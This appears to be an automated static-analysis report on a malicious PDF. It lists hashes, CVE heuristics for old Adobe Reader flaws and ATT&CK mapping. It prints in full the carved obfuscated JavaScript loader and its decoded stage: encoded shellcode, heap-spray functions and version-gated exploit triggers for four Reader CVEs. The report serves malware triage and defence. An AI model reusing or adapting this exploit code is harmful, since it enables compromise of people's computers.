Malicious PDF — malware analysis report

Static analysis result for SHA-256 95c55ed0dd7f4805…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-09
MD5: 9913bec175b1a546061198cd9c8a4042 SHA-1: 2ecf0e96fa19a0fcfd70c0c57874b7cb89fa3037 SHA-256: 95c55ed0dd7f480514a61acc85aed66a8551b7d0d99804ebf36a28d92b6f08fe
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript, named 'javascript_obj0001_000.js', is likely designed to execute malicious code, although its specific function cannot be determined without further analysis. The document body 'test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFC3 446 bytes
SHA-256: f26745a44d60f2e2539a0bd88cdcee8a5a9381d236b4f23d435583043df4fcac
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ltfv='';
mtw=('qwrwqr','tit');
e('pbxl=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
idwe=e('String.fro'+pbxl.substr(0,9));
vxjfs = e(pbxl.substr(9)['replace'](/u/g,','));
e('k=vxjfs.length');
for (i = 0; i < k; i+=2) {
	xpr = vxjfs[i+1] + ('erybjkerl',vxjfs[i]);
	ltfv += idwe(xpr);
}
e(ltfv);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: b636b76e9517001f418982c1fccc8d9e98bd5f15c2bad52ab913aecbdf143875
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u3c34%ue2aa%uc3fa%ue5e8%uffff%ud5ff%u3d30%u3c3c%ubd62%u60d0%u3c3d%ub53c%ub1db%u2c73%u53b1%u0d68%u6be7%u6f6d%u6f6f%u6f6f%u6f6f%u6f69%u546f%u3d38%u3c3c%u6a69%u546f%u5253%u3c3c%u4954%u504e%u6851%ub254%u3272%ud4d0%u3c74%u3c3c%ud46c%u3c40%u3c3c%uecc3%uf8bf%u5434%ud373%u3973%ud46c%u3c50%u3c3c%uecc3%ufcb9%u2b49%u6856%ucf65%u5496%uc24e%u2a8f%u21d4%u3c3c%u6c3c%u6dd4%u3c3c%uc33c%u6fec%uc256%ub554%u3d53%ud481%u3c34%u3c3c%ud46c%u3c00%u3c3c%uecc3%u0d5c%u58fc%u6cb7%ub70c%u306e%u6eb7%ub728%u144e%u2485%u3c3c%u0d3c%u0dc3%u90fc%u5d00%u3e40%u1c10%uf3fd%u3d31%udefb%ubdcc%u67c3%u7680%ub756%u2c7e%u2eb7%ue549%u78b5%u2018%uff5d%ub75c%u1850%ub718%u0079%u68b7%u4439%ud63d%u76b7%ub724%u1c66%ud73d%u08df%ub775%ub708%ud23d%uc30d%ufc0d%u90c0%ufcb8%u3b48%uf3fd%u3d31%ud7fb%u07c8%u1840%u4914%ub7dd%u1866%ud73d%ub75a%u7730%u66b7%u3d20%ub7d7%ub738%ud43d%u78b5%u2018%ufe5d%u3c34%ud3d4%uc3c2%u54c3%u4848%u064c%u1313%u505d%u465d%u4e5d%u594e%u1258%u5255%u535a%u5813%u4c12%u4c54%u5a03%u0f01%u1a0e%u0159%u3c09';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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